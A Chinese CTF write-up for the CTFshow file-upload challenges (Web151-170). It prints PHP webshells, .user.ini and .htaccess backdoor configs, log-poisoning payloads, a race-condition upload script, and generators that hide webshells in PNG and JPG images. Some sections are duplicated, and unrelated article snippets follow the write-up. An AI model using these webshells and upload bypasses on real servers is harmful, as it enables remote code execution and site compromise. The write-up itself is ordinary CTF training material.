CTFshow-文件上传(Web151-170)

server/2024/12/22 18:21:18/
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

CTFshow-文件上传(Web151-170)

参考了CTF show 文件上传篇(web151-170,看这一篇就够啦)-CSDN博客

Web151

image-20241217191411217

要求png,然后上传带有一句话木马的a.png,burp抓包后改后缀为a.php,然后蚁剑连接,找flag

php"><?php eval($_POST['cmd']);?>

Web152

同上题

Web153

image-20241217191955454

猜测内容是不是有php被识别了,还是不合规

这里我们尝试.htaccess(因为它只适用于Apache)所以不行,这里要使用.user.ini

看题解:

php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门。

.user.ini

原理: 指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)所以要求当前目录必须要有php文件,巧合的是这题upload目录下有个index.php所以这种方式是可以成功的。

.user.ini的作用

  1. 配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。

  2. 特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。

利用 .user.ini 绕过限制

由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:

  1. 文件上传限制: 如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。
  2. 脚本执行时间:恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
  3. 内存限制:增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
  4. PHP 文件包含漏洞:auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行

首先我们编写一个".user.ini"文件

auto_prepend_file=shell.png

这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行

所以要求当前目录必须要有php文件getflag思路:我们上传一个.user.ini 文件设置一个文件a.jpg然后访问index.php就相当于包含了a.jpg

image-20241217195653383

以同样的方式上传1.txt或png(php不行)

相当于在该目录下的php文件(index.php)里插入了包含语句include(‘1.png’)

然后用 /upload/index.php

就ok了

Web154

试了半天不行,最后想是不是跟上题一样,然后就过了

注意,这里要短标签

<?= eval($_POST['cmd']);?>

Web155

同154

Web156

php中,[]可以用{}替换,[]被过滤,改成{}

Linux中通配符作用

  1. 星号(*)星号用于匹配任意数量的字符(包括零个字符)。

  2. 问号(?)问号用于匹配单个字符。

  3. 方括号([])方括号用于匹配方括号内的任意一个字符。ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。

  4. 大括号({})大括号用于匹配大括号内的任意一个模式。mv {.jpg,.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。

  5. 感叹号(!)感叹号用于在方括号内表示排除某个字符。ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。

Web157

{}也被过滤,慢慢找

先ls

然后访问upload/index.php

image-20241218100905276

ls…/试试

image-20241218101015293

<?=system('tac ../f?a?.???')?>

Web158

同上题

Web159

PHP命令执行函数

  1. exec():exec()执行一个外部程序,并返回最后一行输出的结果。

  2. system():system()执行一个外部程序,并输出结果。返回命令的最后一行输出。

  3. shell_exec():shell_exec()执行一个命令,并返回完整的输出。

  4. passthru():passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。

  5. popen():popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。

  6. proc_open():proc_open()可以启动一个进程,并更多地控制其输入和输出。

  7. ``:PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
    
<?=`nl ../fl*`?>
<?=`tac ../fl*`?>

Web160

与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含,先上传.user.ini

这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

ua:<?=`tac ../fl*`?>

然后访问index.php

Web161

需要伪造图片头GIF89a

或者png头

使用16进制编辑器在.user.ini.png 中添加png 文件头 89 50 4E 47 0D 0A 1A 0A 1.png也添加也会成功!!

其它同上题

Web162

条件竞争是什么,简单解释一下,在文件上传中,假设存在如下流程:

  1. 上传文件后立即保存到服务器。
  2. 上传成功后进行文件格式的校验。
  3. 如果文件格式符合要求,则重命名该文件。
  4. 如果文件格式不符合要求,则删除该文件。

由于服务器在处理多个并发请求时,可能会出现以下几种情况:

访问时间点在文件上传之前:

  1. 此时,文件尚未上传到服务器,任何对该文件的访问请求将返回“文件不存在”。

  2. 访问时间点在文件上传成功后,但服务器尚未完成校验及处理:在此时间窗口内,文件已经存在于服务器上,但尚未经过格式校验。任何对该文件的访问请求将会找到文件,但由于文件格式尚未验证,可能存在安全隐患。

  3. 访问时间点在服务器删除文件之后:

    如果文件格式不符合要求,服务器会删除该文件。此时,任何对该文件的访问请求将返回“文件不存在”。
    所以,当我们上传的速度比服务器删除的速度快,我们就可以读取到我们的木马文件

上传**.user.ini**

GIF89a
auto_append_file=/tmp/sess_lh

lh可以随缘改,和后面脚本中的sess中的内容相一致即可

接下来用脚本

import requests
import threading
import re# 创建一个会话对象,保持会话的状态
session = requests.session()# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'lh'# 目标URL
url1 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/"
url2 = "http://58830b4d-39b1-4fbc-976c-f909cd6e8988.challenge.ctf.show/upload"# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
}# 要上传的文件数据
file = {'file': '111'  # 文件名可以随意设置
}# 设置会话cookie
cookies = {'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
}# 定义上传文件的函数,持续发送POST请求
def upload_file():while True:session.post(url1, data=data1, files=file, cookies=cookies)# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():while True:response = session.get(url2)  # 访问目标URL,检查是否能获取到flagif 'flag' in response.text:  # 检查返回内容中是否包含flag# 正则匹配flag,格式为ctfshow{}flag = re.search(r'ctfshow{.+}', response.text)if flag:print(flag.group())  # 如果找到flag,打印它# 创建两个线程,一个上传文件,一个检查flag
threads = [threading.Thread(target=upload_file),threading.Thread(target=check_flag)
]# 启动所有线程
for t in threads:t.start()

Web163

同上题

Web164

之前的都用不了了,这题要求图片马

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

脚本:

php"><?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png');
?># <?=$_GET[0]($_POST[1]);?>

这个脚本便是通过操纵 IDAT 块(图像数据块)将恶意代码插入了其中

运行这个脚本后,将生成的图片木马上传

image-20241218154733491

查看图片

image-20241218154907749

路径也变了

其实也正是因为他是先访问download.php这个代码,然后请求包含image,才能让我们的png图片里的php代码能被解析,否则还是需要配合.user.ini文件才能解析png图片马

这是我们图片马中包含的一句话木马,get方式拿个参数0,post方式拿个参数1

<?=$_GET[0]($_POST[1]);?>

0=system 1= ls试试

如果你去抓这个get 请求的包,然后添加传参是不行的。(后面做了下一题,发现是可以在 burpsuite 里面修改请求方式的,都要使用 post 请求)

看图片后,使用 hackbar 添加参数:

get 里面新增:

php">&0=system

post:

php">1=ls

mode=raw发包

还要添加请求头:

php">Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。

tac flag.php即可

image-20241218160316394

Web165

JPG二次渲染,脚本

php"><?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>

命令行运行脚本

image-20241218184705835

看官解,得用特定的图片

Web166

image-20241218184848984

传zip

zip追加写webshell 首先你需要上传一个zip文件,这个文件内容无所谓,但最关键的是需要将webshell写到文件末尾,此操作需要在winhex下进行。 然后直接上传你的zip文件。 利用的点就在于下载,下载时zip文件会进行文件包含,也就是include,所以你的webshell也会被包含在内,你的webshell最好别用POST要用GET。(这一步最好在BP内进) 最后直接GET请求追加参数来执行webshell即可获得flag

其实不知道原理也能做出来

Web167

.htaccess简介

.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。

首先我们编写 .htaccess文件

php"><FilesMatch "shell.jpg">SetHandler application/x-httpd-php
</FilesMatch>

这个大概意思是shell.jpg会被当做php文件执行

接下来我们在shell.jpg文件中插入我们的恶意代码

image-20241218190907168

Web168

参考别人的题解,但是这个字典不知道在哪,先标记一下

image-20241218191320109

image-20241218191812687

发现过滤了很多函数,

``没被过滤

image-20241218192344195

然后再tac就行

Web169

限制zip

image-20241218192735647

发现上传完zip不合规,后面发现后端校验了png

image-20241218193156518

还是不行,发现可能过滤了很多东西,随便传个123试试

ps:看官解的时候发现了一个新知识,直接修改这里能直接绕过前端校验,修改为files

image-20241218193809889

image-20241218193948104

还有一个注意点,要合理使用重发器去试错

image-20241218194030159

为什么要这么做呢,有什么意义?

因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而

安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。

想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件

image-20241218194904544

image-20241218194934176

写ua就行

image-20241218195317026

Web170

同上题

上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了
图片转存中…(img-pnaUnouR-1734523388094)]

还有一个注意点,要合理使用重发器去试错

[外链图片转存中…(img-6KxloVVt-1734523388094)]

为什么要这么做呢,有什么意义?

因为之前我们试了很多函数,都被过滤了,留下的方法那就只有日志注入,而

安全的 include($file),允许外部用户控制 $file 路径。 攻击者操纵的日志文件(例如 /var/log/nginx/access.log)中包含了PHP 代码,而当 PHP 解释器包含这个日志文件时,PHP 代码会被执行。

想要包含日志文件,就需要user.ini,允许其被包含,而user.ini生效的条件之一就是同级目录存在一个php文件

[外链图片转存中…(img-kJ0x6qfC-1734523388094)]

[外链图片转存中…(img-h1lDbBib-1734523388094)]

写ua就行

[外链图片转存中…(img-s24YQxMl-1734523388094)]

Web170

同上题

上题别搞错顺序了,正常是先上传user.ini,再上传index.php,但是我把indexs和index用到一起了,可能造成误解,先上传的indexs.php只是测试用的,我混用了


http://www.ppmy.cn/server/152289.html

相关文章

C++面向对象三大特性之——继承

C面向对象三大特性之——继承 一.继承的概念及定义1.1概念1.2 继承的定义1.3继承基类成员访问方式的变化 二.基类和派生类对象赋值转换三.继承中的作用域四. 派生类的默认成员函数4.1.派生类构造函数4.2派生类拷贝构造函数4.3派生类的赋值重载函数&#xff08;operator&#xf…

使用ElasticSearch实现全文检索

文章目录 全文检索任务描述技术难点任务目标实现过程1. java读取Json文件&#xff0c;并导入MySQL数据库中2. 利用Logstah完成MySQL到ES的数据同步3. 开始编写功能接口3.1 全文检索接口3.2 查询详情 4. 前端调用 全文检索 任务描述 在获取到数据之后如何在ES中进行数据建模&a…

音视频入门基础:MPEG2-TS专题(19)——FFmpeg源码中,解析TS流中的PES流的实现

一、引言 FFmpeg源码在解析完PMT表后&#xff0c;会得到该节目包含的视频和音频信息&#xff0c;从而找到音视频流。TS流的音视频流包含在PES流中。FFmpeg源码通过调用函数指针tss->u.pes_filter.pes_cb指向的回调函数解析PES流的PES packet&#xff1a; /* handle one TS…

Kafka部署

部署命令 wget https://archive.apache.org/dist/kafka/2.6.0/kafka_2.13-2.6.0.tgz tar -xzvf kafka_2.13-2.6.0.tgz mv kafka_2.13-2.6.0 kafka useradd kafka yum install java mkdir /home/kafka/logs vi /home/kafka/kafka/config/server.properties /home/kafka/kafka…

java-5图片验证码

1 图片验证码意义 验证码可以防止恶意破解密码、刷票、论坛灌水&#xff0c;有效防止某个黑客对某一个特定注册用户用特定程序暴力破解方式进行不断的登录尝试。由于验证码技术具有随机性随机性较强、简单的特点&#xff0c;能够在一定程度上阻碍网络上恶意行为的访问&#xf…

C++ 面向对象编程:友元、

友元&#xff1a;让一个类或函数&#xff0c;能够访问另一个类的私有成员。友元关键字为friend。 友元有三种&#xff1a;第一种是全局函数作为友元&#xff0c;第二种是类作为友元&#xff0c;第三种是成员函数作为友元 第一种是全局函数作为友元&#xff0c;见以下代码&…

高并发架构设计:从 Java Callable 到 CompletableFuture 的进阶修炼

前言 在现代的分布式系统中&#xff0c;高并发性能是一个决定系统能否成功的关键因素。而 Java 作为主流的后端开发语言&#xff0c;也提供了许多强大的工具来帮助我们处理并发任务。今天&#xff0c;我们将通过两个关键工具来讲解高并发架构设计的技巧&#xff1a;Callable 和…

vue3中的ref与reactive

摘要 在vue3直接定义变量不是响应式数据 在vue3中定义变量更改变量页面是显示不出来的 在按钮中绑定一个函数&#xff0c;当我点击它的时候发生改变str值 点击前 点击后 点击后控制台显示更改数据&#xff0c;而页面中不显示数据&#xff0c;这就是vue3没触发响应式 使用re…